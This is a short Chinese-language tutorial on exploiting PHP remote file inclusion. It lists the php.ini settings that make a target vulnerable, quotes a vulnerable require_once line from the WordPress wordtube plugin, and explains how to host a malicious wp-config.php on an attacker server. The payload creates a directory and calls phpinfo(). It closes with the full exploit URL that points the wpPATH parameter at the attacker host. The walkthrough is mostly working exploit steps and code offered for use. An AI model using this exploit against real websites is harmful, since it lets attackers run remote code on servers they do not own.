修改部分php配置实现 远程包含 攻击

1. 调试期间，可以打开display_errors = On

2. 目标机使用了include、require或require_once

3. 目标机配置

　　a) register_globals = On

　　b) allow_url_fopen = On

　　c) allow_url_include = On

这样的目标就可以进行攻击了

自己搭建简易的服务器，apache + php 即可

修改httpd.conf中，将后缀为php的，从而避免代码在攻击端就被执行，

#AddType application/x-httpd-php .php .html .htm

根据漏洞代码，生成对应的环境，例如：

if (!$_POST) $wppath=$_GET['wpPATH'];

else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');

我们就可以建立一个可访问的文件夹bad_guy,

增加读权限order allow,deny allow from all ，

然后在里面新建一个wp-config.php

<?php        mkdir('c:\exploit');        phpinfo();        exit;?>

~然后请求一下就行了

/wordpress/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://10.67.1.30/bad_guy

来张效果图：